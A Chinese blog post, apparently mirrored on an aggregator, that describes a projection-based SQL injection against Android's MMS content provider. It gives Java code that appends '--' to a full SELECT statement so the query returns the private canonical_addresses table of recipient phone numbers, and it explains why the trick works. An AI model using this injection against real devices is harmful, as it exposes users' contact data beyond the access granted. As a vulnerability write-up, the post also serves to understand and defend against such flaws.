zoukankan      html  css  js  c++  java
  • android利用provider查询同一个数据库中没有对外暴露出来的表

    【原创】转载请加本篇博客地址http://www.cnblogs.com/scarecrow-blog/p/6266042.html

    个人感觉这是android provider 的一个漏洞, 废话少说直接上代码

     1     public String getCanonicalAddresses(String recipient_ids){
     2         String[] ids=recipient_ids.split(" ");
     3         System.out.println("recipient_ids:"+recipient_ids);
     4         String addressResult="";
     5         for (int i = 0; i < ids.length; i++) {
     6             Cursor cur=ReadSmsActivity.this.getContentResolver().query(Uri.parse("content://mms/"), 
     7                     new String[]{" * from canonical_addresses where _id="+ids[i].toString()+" --"}, null,null,null);
     8             if(cur.getCount()>0){
     9                 while (cur.moveToNext()){
    10                     String _id=cur.getString(cur.getColumnIndex("_id"));
    11                     String address=cur.getString(cur.getColumnIndex("address"));
    12                     addressResult+="{"+_id+","+address+"}";
    13                 }
    14             }
    15         }
    16         return addressResult;
    17     }

    看第6和第7行,mms provider 实际上查询彩信相关的内容,并没有提供canonical-address的查询功能。 但是上面这种写法,通过在query方法入参的projection中直接写上几乎整条查询语句,并在后面加上“--” 实现了通过mms provider直接查询db中canonical_addresses表的功能。

    原理:

    大家都知道 projection中通常都是要查的表中的各个列名, 所以最后拼出来放到数据库中执行的sql语句类似于 SELECT projection FROM table where ....

    但是这里讲projection完全替换成另一个完整的语句, 所以最后拼出来的样子大致是 SELECT * from canonical_addresses where _id="2" -- FROM table where ....

    Sql 中“--” 是注释的意思。 这个方法正是利用了这一点, 把原来provider通过URI限定的查询语句偷换成了另外一个查询语句,从而得到了一个私有表的查询结果。

  • 相关阅读:
    函数参数
    字符编码
    本周内容
    int,float,str,list,dict,元组
    python 基础变量
    Python学习(小笔记一)
    🌐 网络管理
    📓 LVM相关
    📹 进程管理(二)
    🎬进程管理
  • 原文地址:https://www.cnblogs.com/scarecrow-blog/p/6266042.html
Copyright © 2011-2022 走看看